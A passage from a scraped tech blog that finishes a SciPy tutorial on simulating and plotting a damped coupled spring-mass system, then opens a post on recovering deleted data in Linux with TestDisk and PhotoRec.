<code class="python plain">L2 </code><code class="python keyword">=</code> <code class="python value">1.0</code></div>
<div class="line number16 index15 alt1">
<code class="python comments"># Friction coefficients</code></div>
<div class="line number17 index16 alt2">
<code class="python plain">b1 </code><code class="python keyword">=</code> <code class="python value">0.8</code></div>
<div class="line number18 index17 alt1">
<code class="python plain">b2 </code><code class="python keyword">=</code> <code class="python value">0.5</code></div>
<div class="line number19 index18 alt2">
</div>
<div class="line number20 index19 alt1">
<code class="python comments"># Initial conditions</code></div>
<div class="line number21 index20 alt2">
<code class="python comments"># x1 and x2 are the initial displacements; y1 and y2 are the initial velocities</code></div>
<div class="line number22 index21 alt1">
<code class="python plain">x1 </code><code class="python keyword">=</code> <code class="python value">0.5</code></div>
<div class="line number23 index22 alt2">
<code class="python plain">y1 </code><code class="python keyword">=</code> <code class="python value">0.0</code></div>
<div class="line number24 index23 alt1">
<code class="python plain">x2 </code><code class="python keyword">=</code> <code class="python value">2.25</code></div>
<div class="line number25 index24 alt2">
<code class="python plain">y2 </code><code class="python keyword">=</code> <code class="python value">0.0</code></div>
<div class="line number26 index25 alt1">
</div>
<div class="line number27 index26 alt2">
<code class="python comments"># ODE solver parameters</code></div>
<div class="line number28 index27 alt1">
<code class="python plain">abserr </code><code class="python keyword">=</code> <code class="python value">1.0e</code><code class="python keyword">-</code><code class="python value">8</code></div>
<div class="line number29 index28 alt2">
<code class="python plain">relerr </code><code class="python keyword">=</code> <code class="python value">1.0e</code><code class="python keyword">-</code><code class="python value">6</code></div>
<div class="line number30 index29 alt1">
<code class="python plain">stoptime </code><code class="python keyword">=</code> <code class="python value">10.0</code></div>
<div class="line number31 index30 alt2">
<code class="python plain">numpoints </code><code class="python keyword">=</code> <code class="python value">250</code></div>
<div class="line number32 index31 alt1">
</div>
<div class="line number33 index32 alt2">
<code class="python comments"># Create the time samples for the output of the ODE solver.</code></div>
<div class="line number34 index33 alt1">
<code class="python plain">t </code><code class="python keyword">=</code> <code class="python plain">[stoptime</code><code class="python keyword">*</code><code class="python functions">float</code><code class="python plain">(i)</code><code class="python keyword">/</code><code class="python plain">(numpoints</code><code class="python keyword">-</code><code class="python value">1</code><code class="python plain">) </code><code class="python keyword">for</code> <code class="python plain">i </code><code class="python keyword">in</code> <code class="python functions">range</code><code class="python plain">(numpoints)]</code></div>
<div class="line number35 index34 alt2">
</div>
<div class="line number36 index35 alt1">
<code class="python comments"># Pack up the parameters and initial conditions:</code></div>
<div class="line number37 index36 alt2">
<code class="python plain">p </code><code class="python keyword">=</code> <code class="python plain">[m1,m2,k1,k2,L1,L2,b1,b2]</code></div>
<div class="line number38 index37 alt1">
<code class="python plain">w0 </code><code class="python keyword">=</code> <code class="python plain">[x1,y1,x2,y2]</code></div>
<div class="line number39 index38 alt2">
</div>
<div class="line number40 index39 alt1">
<code class="python comments"># Call the ODE solver.</code></div>
<div class="line number41 index40 alt2">
<code class="python plain">wsol </code><code class="python keyword">=</code> <code class="python plain">odeint(two_springs.vectorfield,w0,t,args</code><code class="python keyword">=</code><code class="python plain">(p,),atol</code><code class="python keyword">=</code><code class="python plain">abserr,rtol</code><code class="python keyword">=</code><code class="python plain">relerr)</code></div>
<div class="line number42 index41 alt1">
</div>
<div class="line number43 index42 alt2">
<code class="python comments"># Print the solution.</code></div>
<div class="line number44 index43 alt1">
<code class="python keyword">for</code> <code class="python plain">t1,w1 </code><code class="python keyword">in</code> <code class="python functions">zip</code><code class="python plain">(t,wsol):</code></div>
<div class="line number45 index44 alt2">
<code class="python functions">print</code> <code class="python plain">t1,w1[</code><code class="python value">0</code><code class="python plain">],w1[</code><code class="python value">1</code><code class="python plain">],w1[</code><code class="python value">2</code><code class="python plain">],w1[</code><code class="python value">3</code><code class="python plain">]</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
The <code>scipy.integrate.odeint</code> function integrates a system of ordinary differential equations. It takes the following parameters:</div>
<ul style="text-align: justify;">
<li><code>func: callable(y, t0, ...)</code> — It computes the derivative of <code>y</code> at <code>t0</code>.</li>
<li><code>y0: array</code> — This is the initial condition on <code>y</code> (can be a vector).</li>
<li><code>t: array</code> — It is a sequence of time points for which to solve for <code>y</code>. The initial value point should be the first element of this sequence.</li>
<li><code>args: tuple</code> — Indicates extra arguments to pass to function. In our example, we have added <code>atrol</code> and <code>rtol</code> as extra arguments to deal with absolute and relative errors.</li>
</ul>
<div style="text-align: justify;">
The <code>zip</code>
function takes one or more sequences as arguments, and returns a series
of tuples that pair up parallel items taken from those sequences.</div>
<div style="text-align: justify;">
Copy the solution generated from this script to a text file using the <code>cat</code> command. Name this text file as <code>two_springs.txt</code>.</div>
<div style="text-align: justify;">
The following script uses Matplotlib to plot the solution generated by <code>two_springs_solver.py</code>:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter notranslate python" id="highlighter_986174">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="gutter"><div class="line number1 index0 alt2">
1</div>
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<div class="line number27 index26 alt2">
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</td><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="python comments">#! /usr/bin/python</code></div>
<div class="line number2 index1 alt1">
<code class="python comments"># Defining a matrix and matrix multiplication</code></div>
<div class="line number3 index2 alt2">
</div>
<div class="line number4 index3 alt1">
<code class="python keyword">from</code> <code class="python plain">pylab </code><code class="python keyword">import</code> <code class="python keyword">*</code></div>
<div class="line number5 index4 alt2">
<code class="python keyword">from</code> <code class="python plain">matplotlib.font_manager </code><code class="python keyword">import</code> <code class="python plain">FontProperties</code></div>
<div class="line number6 index5 alt1">
<code class="python keyword">import</code> <code class="python plain">numpy as np</code></div>
<div class="line number7 index6 alt2">
</div>
<div class="line number8 index7 alt1">
<code class="python plain">data </code><code class="python keyword">=</code> <code class="python plain">np.loadtxt(</code><code class="python string">'two_springs.txt'</code><code class="python plain">)</code></div>
<div class="line number9 index8 alt2">
<code class="python plain">t </code><code class="python keyword">=</code> <code class="python plain">data[:,</code><code class="python value">0</code><code class="python plain">]</code></div>
<div class="line number10 index9 alt1">
<code class="python plain">x1 </code><code class="python keyword">=</code> <code class="python plain">data[:,</code><code class="python value">1</code><code class="python plain">]</code></div>
<div class="line number11 index10 alt2">
<code class="python plain">y1 </code><code class="python keyword">=</code> <code class="python plain">data[:,</code><code class="python value">2</code><code class="python plain">]</code></div>
<div class="line number12 index11 alt1">
<code class="python plain">x2 </code><code class="python keyword">=</code> <code class="python plain">data[:,</code><code class="python value">3</code><code class="python plain">]</code></div>
<div class="line number13 index12 alt2">
<code class="python plain">y2 </code><code class="python keyword">=</code> <code class="python plain">data[:,</code><code class="python value">4</code><code class="python plain">]</code></div>
<div class="line number14 index13 alt1">
</div>
<div class="line number15 index14 alt2">
<code class="python plain">figure(</code><code class="python value">1</code><code class="python plain">,figsize</code><code class="python keyword">=</code><code class="python plain">(</code><code class="python value">6</code><code class="python plain">,</code><code class="python value">4</code><code class="python plain">))</code></div>
<div class="line number16 index15 alt1">
</div>
<div class="line number17 index16 alt2">
<code class="python plain">xlabel(</code><code class="python string">'t'</code><code class="python plain">)</code><code class="python value">4</code></div>
<div class="line number18 index17 alt1">
<code class="python plain">grid(</code><code class="python color1">True</code><code class="python plain">)</code></div>
<div class="line number19 index18 alt2">
<code class="python plain">hold(</code><code class="python color1">True</code><code class="python plain">)</code></div>
<div class="line number20 index19 alt1">
<code class="python plain">lw </code><code class="python keyword">=</code> <code class="python value">1</code></div>
<div class="line number21 index20 alt2">
</div>
<div class="line number22 index21 alt1">
<code class="python plain">plot(t,x1,</code><code class="python string">'b'</code><code class="python plain">,linewidth</code><code class="python keyword">=</code><code class="python plain">lw)</code></div>
<div class="line number23 index22 alt2">
<code class="python plain">plot(t,x2,</code><code class="python string">'g'</code><code class="python plain">,linewidth</code><code class="python keyword">=</code><code class="python plain">lw)</code></div>
<div class="line number24 index23 alt1">
</div>
<div class="line number25 index24 alt2">
<code class="python plain">legend((r</code><code class="python string">'$x_1$'</code><code class="python plain">,r</code><code class="python string">'$x_2$'</code><code class="python plain">),prop</code><code class="python keyword">=</code><code class="python plain">FontProperties(size</code><code class="python keyword">=</code><code class="python value">16</code><code class="python plain">))</code></div>
<div class="line number26 index25 alt1">
<code class="python plain">title(</code><code class="python string">'Mass Displacements for the Coupled Spring-Mass System'</code><code class="python plain">)</code></div>
<div class="line number27 index26 alt2">
<code class="python plain">savefig(</code><code class="python string">'two_springs.png'</code><code class="python plain">,dpi</code><code class="python keyword">=</code><code class="python value">72</code><code class="python plain">)</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
On
running the script, we get the plot shown in Figure 12. It clearly
shows how the mass displacements are reduced with time for damped
systems.</div>
<div class="wp-caption aligncenter" id="attachment_8912" style="text-align: justify; width: 488px;">
<img alt="Plot of the spring-mass system" class="size-full wp-image-8912" height="389" src="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image12.png" title="Plot of the spring-mass system" width="488" /><div class="wp-caption-text">
Figure 12: Plot of the spring-mass system</div>
</div>
<div style="text-align: justify;">
In
this article, we have covered some of the most basic operations in
scientific computing. However, we can also model and simulate more
complex problems with NumPy and SciPy. These tools are now actively used
for research in quantum physics, cosmology, astronomy, applied
mathematics, finance and various other fields. With this basic
understanding of scientific programming, you’re now ready to explore
deeper realms of this exciting world!</div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-91460292492810869582012-09-25T01:37:00.002-07:002012-09-25T01:37:42.770-07:00Data Recovery in Linux, Part-1<div class="hentry-container clear" style="text-align: justify;">
<div class="hentry-middle">
<div class="hentry-content clear">
<br />
<div class="introduction">
In
the first part of this series, I will cover how to perform data
recovery in Linux, i.e., getting your data back in case you formatted
the drive, or lost data due to any other reason.</div>
About a month
back, a colleague mistakenly formatted his external hard disk, which
contained precious data. So I spent the next few hours searching for a
solution to his problem. I stumbled on a lot of proprietary software
that claimed to fix things but was bent on finding an open source
application, being a FOSS advocate. After hours of search, I finally
succeeded! A company called CGSecurity had two utilities, TestDisk and
PhotoRec, which are free to use. You can get them <a href="http://www.cgsecurity.org/wiki/TestDisk_Download">here</a>.<br />
The
following table lists the dos and don’ts that must be followed in case
you have lost data (on external media, on the internal hard disk of your
laptop, etc).<br />
<br />
<img alt="" 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" /><br />
<table border="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><thead>
<tr><td><br /></td><td><br /></td></tr>
</thead><tbody>
<tr><td><br /></td><td><br /></td></tr>
<tr><td><br /></td><td><br /></td></tr>
<tr></tr>
<tr></tr>
</tbody></table>
<h2>
File deletion — what happens?</h2>
Usually,
when we delete a file, it goes to the Trash/Recycle Bin, provided the
file is not larger than the bin’s capacity. One can restore these files
easily. If you have emptied the Recycle Bin, permanently deleted the
file using Shift+Delete or an <code>rm</code> command at the
command-line, you may think the file is irretrievable — it isn’t. Only a
pointer to the file is deleted as yet, not the data, which remains on
the disk.<br />
Data stored on a medium as files has a “table of
contents” indicating the storage location for each file (name) on the
drive. When a file is “deleted”, its entry is removed from the table of
contents. This indicates that the space previously used by the file can
be used to store other data — it is now “available” space.<br />
When a
new file is written to the disk, and uses this “available” space, it
replaces the previous data with new data. Now, recovery of the old file
becomes very difficult (though not impossible for experts). Thus, when
you find that you have accidentally messed up and lost data that you
want, you should avoid writing new data to the medium. This means you
shouldn’t continue running the OS that is using that partition or medium
in read-write mode; even applications like a browser caching files, the
